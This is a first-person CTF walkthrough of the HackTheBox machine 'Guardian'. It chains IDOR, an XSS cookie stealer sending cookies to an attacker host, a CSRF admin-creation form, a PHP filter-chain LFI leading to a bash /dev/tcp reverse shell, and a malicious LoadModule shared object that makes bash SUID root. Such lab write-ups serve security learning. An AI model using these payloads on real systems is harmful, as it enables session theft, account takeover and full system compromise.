< BACK TO HUB
HARD DIFFICULTY

GUARDIAN

TARGET OS: LINUX | AUTHOR: LEANDROS

Guardian is a Hard-rated Linux machine on HackTheBox that requires a deep understanding of web exploitation, vulnerability chaining, and reverse engineering. My journey began with an XSS vulnerability in a spreadsheet parser, evolved into an SSRF/CSRF attack to hijack an admin account, and moved to an RCE via a complex PHP filter chain. Finally, I escalated privileges by exploiting a custom C binary that loaded shared objects. Here is my detailed, step-by-step mission log.

PHASE 1: RECONNAISSANCE

I initiated my reconnaissance phase with a comprehensive TCP port scan using Nmap to identify open services. I always run a fast SYN scan first, followed by a detailed script and version scan on the discovered ports.

TERMINAL - NMAP SCAN
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p22,80 <IP>
OUTPUT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://guardian.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)

The results showed standard SSH and a web server on port 80 that redirected to guardian.htb. I immediately added this domain to my /etc/hosts file. Browsing to the site revealed a university student portal. Clicking the "Student Portal" button attempted to route me to portal.guardian.htb, so I added that subdomain to my hosts file as well.

PHASE 2: INITIAL FOOTHOLD

Exploring the portal, I found a link to a PDF guide: Guardian_University_Student_Portal_Guide.pdf. Reading through it, I discovered a massive operational security flaw: The default password for all students is GU1234.

Going back to the main guardian.htb page, I spotted three student IDs listed. I took the first one, GU0142023, and successfully logged into the portal using the default password.

[!] VULNERABILITY DETECTED: BROKEN ACCESS CONTROL (IDOR)

Running Gobuster didn't yield much, but manually exploring the dashboard led me to a Chat feature. Notice the URL structure:
http://portal.guardian.htb/student/chat.php?chat_users[0]=13&chat_users[1]=14

I immediately suspected an Insecure Direct Object Reference (IDOR). I started fuzzing the array IDs, changing them to 0, 1, and 2. Changing the parameters to chat_users[0]=1&chat_users[1]=2 dropped me straight into a private chat log where a user named jamil.enockson dropped his password: DHsNnk3V503.

The chat mentioned Gitea. I ran a quick ffuf subdomain fuzzing scan and discovered gitea.guardian.htb. Logging in with Jamil's credentials gave me access to the source code repository for the university portal.

SOURCE CODE - COMPOSER.JSON
{
    "require": {
        "phpoffice/phpspreadsheet": "3.7.0",
        "phpoffice/phpword": "^1.3"
    }
}

Digging through the repos, I found the composer.json file. It revealed they were using phpoffice/phpspreadsheet version 3.7.0. A quick search confirmed this version is vulnerable to CVE-2024-56411, an XSS vulnerability triggered when processing the hyperlink base in the HTML page header of a spreadsheet.

I navigated to the assignments section in the web portal and found an "upcoming" assignment where I could upload an .xlsx file. To exploit this, I used an online spreadsheet generator (TreeGrid) to create a malicious .xlsx file containing my XSS payload.

PAYLOAD - XSS COOKIE STEALER
"><img src=x onerror=fetch('http://<IP>/?c='+btoa(document.cookie))>

I set up a Python HTTP server on port 80. I uploaded the weaponized spreadsheet to the assignment portal. Seconds later, a headless browser belonging to an admin opened the file, executing the JavaScript and sending me their Base64-encoded session cookie!

TERMINAL - PYTHON HTTP SERVER
Serving HTTP on 0.0.0.0 port 80...
10.10.11.84 - - [28/Sep/2025 04:27:06] "GET /?c=UEhQU0VTU0lEPTFoYjZqNnFnNGQwaTFnM2o0bXI5ZXE0amxm HTTP/1.1" 200 -

Decoding this gave me PHPSESSID=1hb6j6qg4d0i1g3j4mr9eq4jlf. I swapped my session cookie in the browser for this new one, and I successfully hijacked the session of sammy.treat, a Lecturer.

PHASE 3: LATERAL MOVEMENT & RCE

As a Lecturer, I had access to the "Notice Board" where I could submit URLs for the system administrator to review. By passing my own IP, I confirmed a bot was actively clicking the links I provided.

Looking back at the Gitea repository, I analyzed admin/createuser.php. It expects a POST request with specific fields and a valid CSRF token to create an admin account. However, I found a static, valid CSRF token in the HTML of the Notice Board creation form: 058430bcfe9dbf937a852e52cab448aa.

I wrote a Python script to host a malicious HTML page. When the admin bot clicked my link, it loaded this page, which automatically submitted a hidden form containing the leaked CSRF token and the payload to create a new user with admin privileges.

PAYLOAD - CSRF AUTO-SUBMITTER.HTML
<form id="adminForm" action="http://portal.guardian.htb/admin/createuser.php" method="POST">
    <input type="hidden" name="username" value="adminhntaxt">
    <input type="hidden" name="password" value="Passhntaxt!">
    <input type="hidden" name="user_role" value="admin">
    <input type="hidden" name="csrf_token" value="058430bcfe9dbf937a852e52cab448aa">
</form>
<script>document.getElementById('adminForm').submit();</script>

I sent the link to my Python server via the Notice Board. The headless Chrome bot visited my server, executed the CSRF payload, and created my admin user! I logged out of Sammy's account and logged back in using adminhntaxt : Passhntaxt!. I now had full Admin access.

[!] VULNERABILITY DETECTED: LOCAL FILE INCLUSION (LFI)

As an admin, I could access reports.php. The Gitea source code showed it includes files dynamically but blocks the string .. to prevent directory traversal.

To bypass the .. restriction and achieve Remote Code Execution, I used the PHP Filter Chain Generator by Synacktiv. This incredible tool generates a massive PHP wrapper string that decodes to arbitrary PHP code in memory without needing to write to a file or traverse directories.

I generated a payload for a reverse shell: <?php echo shell_exec($_GET["cmd"]);?>, injected the resulting massive php://filter/... string into the report parameter, and passed my Bash reverse shell via the cmd parameter.

PAYLOAD - RCE EXECUTION
http://portal.guardian.htb/admin/reports.php?cmd=bash -c "bash -i >%26 /dev/tcp/<IP>/7777 0>%261"&report=<PHP_FILTER_CHAIN>,enrollment.php

Catching the callback in Netcat, I finally had a shell as www-data. After stabilizing my TTY, it was time to move laterally.

PHASE 4: PRIVILEGE ESCALATION

Earlier in Gitea, I found database credentials (root : Gu4rd14n_un1_1s_th3_b3st) in config.php. Since I was now on the machine, I logged into MySQL locally. I dumped the users table from the guardiandb database, which contained 62 hashes.

I extracted the hashes, appended the salt found in the config (8Sb)tM1vs1SS), and fed them to Hashcat (Mode 1410). Hashcat cracked Jamil's password: copperhouse56. I SSH'd into the machine as jamil and grabbed the user flag!

Running sudo -l as Jamil revealed I could run /opt/scripts/utilities/utilities.py as the user mark. Looking at the python script, I saw the system-status action calls a module named status.py.

Checking the permissions of status.py, I saw it was writable by the admins group, which Jamil is a part of. I simply appended os.system("/bin/bash") to the end of status.py, ran the utility script via sudo, and escalated to mark.

As Mark, running sudo -l showed I could run /usr/local/bin/safeapache2ctl as root with no password. I transferred the binary to my attacker machine and opened it in Ghidra.

REVERSE ENGINEERING - IS_UNSAFE_LINE.C (GHIDRA)
if (strcmp(local_1038,"Include") == 0 || strcmp(local_1038,"LoadModule") == 0) {
    if (local_1018[0] == '/') {
        if (starts_with(local_1018,"/home/mark/confs/") == 0) {
            fprintf(stderr,"[!] Blocked: %s is outside of /home/mark/confs/\n",local_1018);
            return 1;
        }
    }
}

The binary acts as a wrapper for Apache configurations. It parses a config file line by line. If it sees the LoadModule directive, it checks if the path points to /home/mark/confs/. If it does, it passes it to the real apache2ctl as root.

Because I control the /home/mark/confs/ directory, I could create a malicious C shared library that sets the SUID bit on bash, and load it via a fake Apache config file!

PAYLOAD - ROOT EXPLOIT
cat > /home/mark/confs/pwn.c << 'EOF'
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

__attribute__((constructor)) void init() {
    system("cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash 2>/dev/null");
}
EOF

gcc -shared -fPIC -o /home/mark/confs/pwn.so /home/mark/confs/pwn.c
echo 'LoadModule pwn_module /home/mark/confs/pwn.so' > /home/mark/confs/exploit.conf
sudo /usr/local/bin/safeapache2ctl -f /home/mark/confs/exploit.conf

Executing the binary with my config caused Apache to attempt loading my shared library. Because I used __attribute__((constructor)), my C code executed immediately upon loading, regardless of whether Apache understood the module. I checked the /tmp/ directory, and there it was: rootbash with the SUID bit set. Executing /tmp/rootbash -p gave me a root shell, and I successfully captured the final flag. System Compromised.